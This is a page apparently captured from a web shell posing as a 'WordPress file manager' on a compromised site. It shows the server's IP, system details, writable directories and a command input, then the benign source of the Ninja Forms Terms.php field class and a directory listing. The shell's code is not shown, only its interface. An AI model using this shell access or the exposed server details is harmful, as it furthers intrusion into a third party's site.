GRAYBYTE WORDPRESS FILE MANAGER7034

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/ninja-forms/includes/Fields/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/ninja-forms/includes/Fields//Terms.php
<?php if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * Class NF_Fields_Terms
 */
class NF_Fields_Terms extends NF_Fields_ListCheckbox
{
    protected $_name = 'terms';
    protected $_type = 'terms';

    protected $_nicename = 'Terms List';

    protected $_section = '';

    protected $_icon = 'tags';

    protected $_templates = array( 'terms', 'listcheckbox' );

    protected $_settings = array( 'taxonomy', 'add_new_terms' );

    protected $_settings_exclude = array( 'required' );

    protected $_excluded_taxonomies = array(
        'post_format'
    );

    public function __construct()
    {
        parent::__construct();

        $this->_nicename = esc_html__( 'Terms List', 'ninja-forms' );

        // If we are on the ninja-forms page...
        // OR we're looking at nf_sub post types...
        // OR we're editing a single post...
        if ( ( ! empty( $_GET[ 'page' ] ) && 'ninja-forms' == $_GET[ 'page' ] ) ||
           ( ! empty( $_GET[ 'post_type' ] ) && 'nf_sub' == $_GET[ 'post_type' ] ) ||
           isset( $_GET[ 'post' ] ) && 'nf_sub' === get_post_type( $_GET[ 'post' ] ) ) {
            // Initiate the termslist.
            add_action( 'admin_init', array( $this, 'init_settings' ) );
        }

        add_filter( 'ninja_forms_display_field', array( $this, 'active_taxonomy_field_check' ) );
        add_filter( 'ninja_forms_localize_field_' . $this->_type, array( $this, 'add_term_options' ) );
        add_filter( 'ninja_forms_localize_field_' . $this->_type . '_preview', array( $this, 'add_term_options' ) );

        add_filter( 'ninja_forms_merge_tag_value_' . $this->_type, array( $this, 'merge_tag_value' ), 10, 2 );

        $this->_settings[ 'options' ][ 'group' ] = '';
    }

    public function process( $field, $data )
    {
        return $data;
    }

    public function init_settings()
    {
        $term_settings = array();
        $taxonomies = get_taxonomies( array( 'public' => true ), 'objects' );
        foreach( $taxonomies as $name => $taxonomy ){

            $tax_term_settings = array();

            if( in_array( $name, $this->_excluded_taxonomies ) ) continue;

            $this->_settings[ 'taxonomy' ][ 'options' ][] = array(
                'label' => $taxonomy->labels->name,
                'value' => $name
            );

            $terms = get_terms( $name, array( 'hide_empty' => false ) );

            foreach( $terms as $term ){

                // Check the slug instead of term_id to ensure we ONLY remove 'uncategorized'.
                if( 'uncategorized' == $term->slug ) continue;

                $tax_term_settings[] =  array(
                    'name' => 'taxonomy_term_' . $term->term_id,
                    'type' => 'toggle',
                    'label' => $term->name . ' (' . $term->count .')',
                    'width' => 'one-third',
                    'deps' => array(
                        'taxonomy' => $name
                    ),
                );
            }

            if( empty( $tax_term_settings ) ){
                $tax_term_settings[] =  array(
                    'name' => $name . '_no_terms',
                    'type' => 'html',
                    'width' => 'full',
                    'value' => sprintf( esc_html__( 'No available terms for this taxonomy. %sAdd a term%s', 'ninja-forms' ), '<a href="' . admin_url( "edit-tags.php?taxonomy=$name" ) . '">', '</a>' ),
                    'deps' => array(
                        'taxonomy' => $name
                    )
                );
            }

            $term_settings = array_merge( $term_settings, $tax_term_settings );

        }

        $term_settings[] =  array(
            'name' => '_no_taxonomy',
            'type' => 'html',
            'width' => 'full',
            'value' => esc_html__( 'No taxonomy selected.', 'ninja-forms' ),
            'deps' => array(
                'taxonomy' => ''
            )
        );

        $this->_settings[ 'taxonomy_terms' ] = array(
            'name' => 'taxonomy_terms',
            'type' => 'fieldset',
            'label' => esc_html__( 'Available Terms', 'ninja-forms' ),
            'width' => 'full',
            'group' => 'primary',
            'settings' => $term_settings
        );
    }

    public function active_taxonomy_field_check( $field )
    {
        if( $this->_type != $field->get_setting( 'type' ) ) return $field;

        $taxonomy = $field->get_setting( 'taxonomy' );

        if( ! taxonomy_exists( $taxonomy ) ) return FALSE;

        return $field;
    }

    public function add_term_options( $field )
    {
        $settings = ( is_object( $field ) ) ? $field->get_settings() : $field[ 'settings' ];

        $settings[ 'options' ] = array();

        if( isset( $settings[ 'taxonomy' ] ) && $settings[ 'taxonomy' ] ){

            $terms = get_terms( $settings[ 'taxonomy' ], array( 'hide_empty' => false ) );

            if( ! is_wp_error( $terms ) ){
                foreach( $terms as $term ) {

                    if( ! isset( $settings[ 'taxonomy_term_' . $term->term_id ] ) ) continue;
                    if( ! $settings[ 'taxonomy_term_' . $term->term_id ] ) continue;

                    $settings['options'][] = array(
                        'label' => $term->name,
                        'value' => $term->term_id,
                        'calc' => '',
                        'selected' => 0,
                        'order' => 0
                    );
                }
            }
        }

        if( is_object( $field ) ) {
            $field->update_settings( $settings );
        } else {
            $field[ 'settings' ] = $settings;
        }

        return $field;
    }

    public function merge_tag_value( $value, $field )
    {
        $terms = explode( ',', $value );
        if( ! is_array( $terms ) ) {
            $term = get_term_by( 'id', $value, $field[ 'taxonomy' ] );
            if( $term ) {
                return $term->name;
            } else {
                return $value;
            }
        }

        $term_names = array();
        foreach( $terms as $term_id ){
            $term = get_term_by( 'id', $term_id, $field[ 'taxonomy' ] );
            $term_names[] = ( $term ) ? $term->name : $term_id; // If the term is `false`, fallback to the term_id.
        }

        return implode( ',', $term_names );
    }

    public function get_parent_type()
    {
        return 'listcheckbox';
    }
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:23
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:23
giriqfky / giriqfky
0644
Address.php
0.678 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
Address2.php
0.649 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
Button.php
0.546 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
Checkbox.php
6.439 KB
July 07 2025 22:00:20
giriqfky / giriqfky
0644
City.php
0.581 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
Color.php
0.608 KB
March 15 2016 02:24:24
giriqfky / giriqfky
0644
Confirm.php
1.012 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
CreditCard.php
0.572 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
CreditCardCVC.php
0.803 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
CreditCardExpiration.php
0.975 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
CreditCardFullName.php
0.842 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
CreditCardNumber.php
0.844 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
CreditCardZip.php
0.776 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
Date.php
9.434 KB
July 07 2025 22:00:20
giriqfky / giriqfky
0644
Email.php
1.603 KB
September 30 2024 22:20:16
giriqfky / giriqfky
0644
FirstName.php
1.134 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
HTML.php
2.262 KB
July 29 2024 13:30:44
giriqfky / giriqfky
0644
Hidden.php
0.954 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
LastName.php
1.126 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
ListCheckbox.php
2.09 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
ListCountry.php
4.855 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
ListImage.php
5.282 KB
October 24 2024 00:36:22
giriqfky / giriqfky
0644
ListModifier.php
0.468 KB
March 15 2016 02:24:24
giriqfky / giriqfky
0644
ListMultiSelect.php
2.031 KB
August 17 2021 13:06:24
giriqfky / giriqfky
0644
ListRadio.php
0.999 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
ListSelect.php
1.035 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
ListState.php
1.375 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
Note.php
1.498 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
Number.php
0.683 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
Password.php
0.779 KB
February 08 2021 23:03:26
giriqfky / giriqfky
0644
PasswordConfirm.php
2.454 KB
March 12 2025 21:40:36
giriqfky / giriqfky
0644
Phone.php
0.61 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
Product.php
8.379 KB
February 22 2023 23:20:58
giriqfky / giriqfky
0644
Quantity.php
0.673 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
Recaptcha.php
3.26 KB
October 04 2023 20:07:10
giriqfky / giriqfky
0644
RecaptchaV3.php
0.422 KB
June 07 2021 21:40:12
giriqfky / giriqfky
0644
Repeater.php
8.702 KB
April 30 2024 21:16:06
giriqfky / giriqfky
0644
Shipping.php
2.505 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
Spam.php
1.817 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
StarRating.php
0.771 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
Submit.php
0.867 KB
July 29 2024 13:30:44
giriqfky / giriqfky
0644
Terms.php
6.291 KB
November 18 2024 20:55:28
giriqfky / giriqfky
0644
Textarea.php
1.597 KB
February 09 2023 21:52:18
giriqfky / giriqfky
0644
Textbox.php
1.011 KB
February 09 2023 21:52:18
giriqfky / giriqfky
0644
TimedSubmit.php
0.537 KB
March 15 2016 02:24:24
giriqfky / giriqfky
0644
Total.php
1.192 KB
February 22 2023 23:20:58
giriqfky / giriqfky
0644
Unknown.php
2.835 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
Zip.php
0.596 KB
February 04 2020 21:17:42
giriqfky / giriqfky
0644
hr.php
0.88 KB
July 29 2024 13:30:44
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF